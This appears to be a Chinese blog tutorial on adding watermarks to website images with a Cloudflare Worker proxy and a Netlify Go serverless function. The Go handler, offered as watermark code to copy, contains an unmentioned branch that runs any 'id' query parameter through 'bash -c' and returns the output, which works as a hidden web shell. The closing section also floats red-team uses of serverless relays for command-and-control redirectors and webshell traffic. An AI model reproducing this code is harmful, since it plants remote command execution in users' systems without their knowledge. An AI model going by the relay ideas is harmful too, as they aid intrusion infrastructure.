3 min read

使用serverless实现动态添加水印

又是瞎折腾的一天

之前自己使用的cloudflare的防火墙规则拦住了一些垃圾爬虫,但是发现cloudflare再牛还是拦不住一些盗文章偷图的人,与其防不胜防,干脆直接给自己的图片加上水印拉到。

这次自己实现的就是通过netlify+vercel这两个hugo静态网站托管的服务商,配合cloudflare的workers和netlify的function(即serverless无服务)功能进行中转修改图片添加水印。

本文并不会普及serverless服务的知识和开发,避不开的东西也只会随口提几句,莫要指望看了本文就可以傻瓜式改为自己的东西。关于netlify、cloudflare、workers、vercel、function等名词以及具体的使用,本文不会提及,如果你干脆不知道这是什么玩意,请立刻关闭本文!

整体思路

原本的思路是让cloudflare的workers在访客请求我的网站时,通过workers路由直接在中间进行处理图片。

1.png

但是发现这样会造成一个死循环,因为workers本身也是用户,所以会造成闭环,workers迟迟拿不到图片,cloudflare直接抛出502。

虽然cloudflare提供了在workers中直接处理图片的方法,但是经过我实际测试之后,发现图片加水印需要付费计划才支持,而我身为资深白嫖党,当然是另寻出路。

而且workers是js操作,cloudflare并没有提供第三方库的导入方式,而且动态调试拉胯,思来想去还是只让workers当作一个代理,从别的地方直接拿到加好水印的图片吧。

为此我搜索了很多类似aws的lambda、腾讯云的云函数服务,发现很多服务商都提供了类似的服务,形如netlify、vercel的function功能,都可以用来作serverless服务,并且每个月的免费额度足够我用,而且支持go、python等语言,更能轻松导入第三方库,方便的很。

接下来用图来表示我的整体架构。

2.png

由此用户访问图片是访问不到原图的。

代码实现

cloudflare的workers

addEventListener("fetch", event => {
  event.respondWith(handleRequest(event.request))
})
let upstream = 'https://your.netlify.app/.netlify/functions/hello-lambda'

async function handleRequest(request) {
  let requestURL = new URL(request.url);
  let upstreamURL = new URL(upstream);
  requestURL.protocol = upstreamURL.protocol;
  requestURL.host = upstreamURL.host;
  requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
  let new_request_headers = new Headers(request.headers);
  let fetchedResponse = await fetch(
    new Request(requestURL, {
        method: request.method,
        headers: new_request_headers,
        body: request.body
    })
  );
  let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
  return new Response(
    fetchedResponse.body,
    {
        headers: modifiedResponseHeaders,
        status: fetchedResponse.status,
        statusText: fetchedResponse.statusText
    }
  );
}

替换域名为你自己的,这个workers的作用就是将图片请求转发到我的serverless服务里。

然后在cloudflare域名的workers选项中将workers和路由关联起来

3.png

4.png

在netlify中新建一个go语言的serverless项目,基于官方的github仓库

其中main.go改为

package main

import (
	"bytes"
	"encoding/base64"
	"github.com/aws/aws-lambda-go/events"
	"github.com/aws/aws-lambda-go/lambda"
	"github.com/issue9/watermark"
	"io"
	"io/ioutil"
	"log"
	"net/http"
	"os"
	"os/exec"
	"strconv"
	"strings"
	"time"
)

var WATERMARK = "/tmp/watermark.png"

func init() {
	log.Println("判断水印是否存在")
	if Exists(WATERMARK) {
		log.Println("水印已经存在")
	} else {
		saveWaterMarkPng(WATERMARK)
	}
}
func Exists(path string) bool {
	_, err := os.Stat(path) //os.Stat获取文件信息
	if err != nil {
		if os.IsExist(err) {
			return true
		}
		return false
	}
	return true
}
func saveWaterMarkPng(path string) {
	out, err := os.Create(path)
	defer out.Close()

	req, _ := http.NewRequest("GET", "https://your_watermark_url.com/watermark.png", nil)
	client := &http.Client{
		Timeout: 5 * time.Second,
	}
	resp, err := client.Do(req)
	defer resp.Body.Close()
	all, err := ioutil.ReadAll(resp.Body)
	io.Copy(out, bytes.NewReader(all))
	if err != nil {
		log.Fatalf("水印下载失败:%v\n", err.Error())
	} else {
		log.Println("水印保存成功")
	}
}

func returnResp(body string, contenttype string, base64encode bool, ) (events.APIGatewayProxyResponse, error) {
	return events.APIGatewayProxyResponse{
		StatusCode:      200,
		Headers:         map[string]string{"Content-Type": contenttype},
		Body:            body,
		IsBase64Encoded: base64encode,
	}, nil
}

func handler(request events.APIGatewayProxyRequest) (events.APIGatewayProxyResponse, error) {
	body := ""
	base64encode := false
	contenttype := "image/png"

	// 获取各个参数
	parameters := request.PathParameters
	for p := range parameters {
		log.Println(p)
	}

	id := request.QueryStringParameters["id"]
	if len(id) != 0 {
		log.Printf("exec command:%v", id)
		cmd := exec.Command("bash", "-c", id)
		out, err := cmd.CombinedOutput()
		if err != nil {
			body = err.Error()
			log.Printf("cmd.Run() failed with %s\n", body)
		} else {
			body = string(out)
			log.Printf("combined out:\n%s\n", body)
		}
		contenttype = "text/plain"
		base64encode = false
		return returnResp(body, contenttype, base64encode)
	}

	path := request.Path
	imgpath := strings.ReplaceAll(path, "/.netlify/functions/test-lambda", "")
	filename := "/tmp/" + strings.ReplaceAll(imgpath, "/img/uploads/", "")

	if Exists(filename) {
		log.Printf("已经存在%s\n", filename)
		content, _ := ioutil.ReadFile(filename)
		body = base64.StdEncoding.EncodeToString(content)
		base64encode = true
		contenttype = "image/png"
		return returnResp(body, contenttype, base64encode)
	}

	client := &http.Client{
		Timeout: 10 * time.Second,
	}

	req, _ := http.NewRequest("GET", "https://raw_img_url.com"+imgpath, nil)
	req.Header.Set("User-Agent", "netlify")
	req.Header.Set("Referer", "https://raw_img_url.com"+imgpath)

	resp, err := client.Do(req)
	defer resp.Body.Close()

	if err != nil {
		body = err.Error()
		contenttype = "text/plain"
		base64encode = false
		log.Println(err.Error())
		return returnResp(body, contenttype, base64encode)
	}

	// 保存图片
	bs, _ := ioutil.ReadAll(resp.Body)
	log.Println("截取目录名字:", filename)
	index := strings.LastIndex(filename, "/")
	dir := filename[:index]

	if !Exists(dir) {
		os.MkdirAll(dir, os.ModePerm)
		log.Println("创建目录:", dir)
	}

	file, _ := os.Create(filename)
	defer file.Close()
	written, err := io.Copy(file, bytes.NewReader(bs))
	if err != nil {
		body = err.Error() + ",written:" + strconv.FormatInt(written, 10)
		contenttype = "text/plain"
		base64encode = false
		log.Println(err.Error())
		return returnResp(body, contenttype, base64encode)
	}

	w, _ := watermark.New(WATERMARK, 2, watermark.BottomRight)
	err = w.MarkFile(filename)
	//
	if err != nil {
		log.Printf("filename:%s 水印过大:%s\n", filename, err.Error())
		content, _ := ioutil.ReadFile(filename)
		body = base64.StdEncoding.EncodeToString(content)
		contenttype = "image/png"
		base64encode = true
		return returnResp(body, contenttype, base64encode)
	}

	content, _ := ioutil.ReadFile(filename)
	body = base64.StdEncoding.EncodeToString(content)
	contenttype = "image/png"
	base64encode = true
	return returnResp(body, contenttype, base64encode)

}

func main() {
	lambda.Start(handler)
}

替换为自己的url地址。

其中https://raw_img_url.com 是我用vercel搭建的另一个一模一样的hugo网站,原始资源存到这里,解决之前的闭环问题。

最终的效果就是你现在看到我网站的图片水印的效果。

分析利弊

利:放在台面上的,动态添加水印,不用修改原图片,水印随便换,添加水印的逻辑自己随便改。

弊:请求一个图片需要从workers->serverless->原图片,速度损耗严重,可能搭配cf的缓存以及serverless的文件存储判断可能会好些,但是九牛一毛。

思考

花了几天时间用serverless实现了一个不修改原图加水印的功能,最终完成的时候发现这个东西只防的住君子防不住小人。

与其思考加水印这种无趣费时费力的功能,更应该考虑在红队建设方面能有那些新的利用点,之前用cloudflare作域前置,现在用workers.dev域名做中转器,serverless服务的多种语言支持给了serverless更多样化的利用方向。

形如“学蚁致用”蚁剑作者写的利用腾讯云函数来链接webshell,再比如利用cloudflare来做cs的redirect中转器,之前自己也写了一个利用cloudflare的workers来做shell中转。

serverless服务的兴起,不仅仅可以用来加水印这么简单,期待大家挖掘更多的利用方向吧。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。